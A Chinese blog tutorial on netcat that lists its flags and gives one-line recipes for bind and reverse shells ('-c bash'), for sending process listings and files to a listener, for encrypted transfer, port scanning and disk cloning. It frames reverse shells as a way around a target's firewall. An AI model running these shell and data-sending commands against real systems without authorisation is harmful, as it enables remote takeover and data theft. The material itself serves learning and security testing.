NetCat使用指南

image.png

Netcat是什么

NC(netcat)被称为网络工具中的瑞士军刀,体积小巧,但功能强大。

Nc主要功能

Nc可以在两台设备上面相互交互,即侦听模式/传输模式

  • Telnet功能
  • 获取banner信息
  • 传输文本信息
  • 传输文件/目录
  • 加密传输文件,默认不加密
  • 远程控制
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘

具体介绍

在此之前,先看看参数说明。
nc -h

image.png
  • -c shell commands shell模式
  • -e filename 程序重定向 [危险!!]
  • -b 允许广播
  • -d 无命令行界面,使用后台模式
  • -g gateway 源路由跳跃点, 不超过8
  • -G num 源路由指示器: 4, 8, 12, ...
  • -h 获取帮助信息
  • -i secs 延时设置,端口扫描时使用
  • -k 设置在socket上的存活选项
  • -l 监听入站信息
  • -n 以数字形式表示的IP地址
  • -o file 使进制记录
  • -p port 本地端口
  • -r 随机本地和远程的端口
  • -q secs 在标准输入且延迟后退出(翻译的不是很好,后面实例介绍)
  • -s addr 本地源地址
  • -T tos 设置服务类型
  • -t 以TELNET的形式应答入站请求
  • -u UDP模式
  • -v 显示详细信息 [使用=vv获取更详细的信息
  • -w secs 连接超时设置
  • -z I/O 模式 [扫描时使用]

其实常用的就几个参数-n,-v,-l,-p,-q
.

NC远程控制

这个比较有意思,我放在第一。
正向连接
A:nc -lp port -c bash
B:nc ip port
A将自己的Bash发给B
反向连接
A:nc -lp port
B:nc ip port -c bash
B将自己的Bash发给A
win下Bash换成cmd

image.png

image.png

image.png

通常反向连接 比较常用,因为防火墙的存在,让目标机主动发送shell
下面是Netcat Bind shell的演示
hackerwing.com

使用NC进行信息收集

简单的建立连接,就是侦听模式和传输模式
nc -l -p port监听指定端口号
nc -nv ip port连接对方tcp端口,默认情况下,双方可以发送文本信息
收集目标机上的进程信息
nc -l -p 4444 >wing.txt将远程发送过来的内容保存在本地
Ps aux |nc -nv ip port -q 1 标准输入完成后delay一秒钟,会发送到侦听端

wing
wing
wing

NC传输文件/目录

nc -lp 4444 >1.txt 1.txt就是你要保存的文件名 自定义

nc -nv ip port <1.txt -q 1 将文件发送给侦听端
ps:侦听端的文件名最好按照文件本身来命名

tar -cvf - 目录名/|nc -lp port -q 1
将目录打包
nc -nv ip port |tar -xvf -
将目录解包

NC文件加密传输

apt-get install mcrypt
A: nc -lp port|mcrypt - -flush -Fbqd -a rijndael-256 -m ecb >文件名
B:mcrypt --flush -Fbq -a rijndael-256 -m ecb <文件名|nc -nv ip port -q 1
理解:B将文件加密发送,A接受后先解密再保存到本地,B在1s后退出.
主要是利用mcrypt进行加密

NC流媒体服务

A:cat wing.mp4|nc -lp port
B:nc -nv ip port |mplayer -vo x11 -cache 4000
A让wing.MP4这个文件成为流的形式发送到B,B用mplayer播放,接收多少播放多少,指定缓存4000bytes。

NC端口扫描

nc -nvz ip 1-65535

image.png

默认使用tcp进行扫描

NC复制磁盘

A:nc -lp port |dd of=/dev/sda
B: dd if=/dev/sda | nc -nc ip port -q 1
Ifinput filter
Ofoutput filter
B将数据复制到A挂载的硬盘上

我的博客地址:hackerwing.com

推荐阅读更多精彩内容

  • 目录 基础使用单向侦听双向聊天日常习惯 拓展使用正/反向域名解析传输⽂件/目录;加密传输端口扫描,获取banner...
    linx255阅读 516评论 0 1
  • title: NETCATdate: 2016-02-28 19:27:52tags: kali第五章 基本工具 ...
    曼路x_x阅读 6,866评论 2 4
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 119,234评论 16 133
  • 部分内容转载自搜狗百科 cmd是command的缩写.即命令提示符(CMD),是在OS / 2 , Windows...
    青冥之上阅读 1,716评论 0 24
  • 前情回顾:成全(一) 前情回顾:成全(二) 肖远轻车熟路开到了优优外婆家的小区外面,他一眼就看到了顾小西,她满脸憔...
    清露静心阅读 143评论 0 1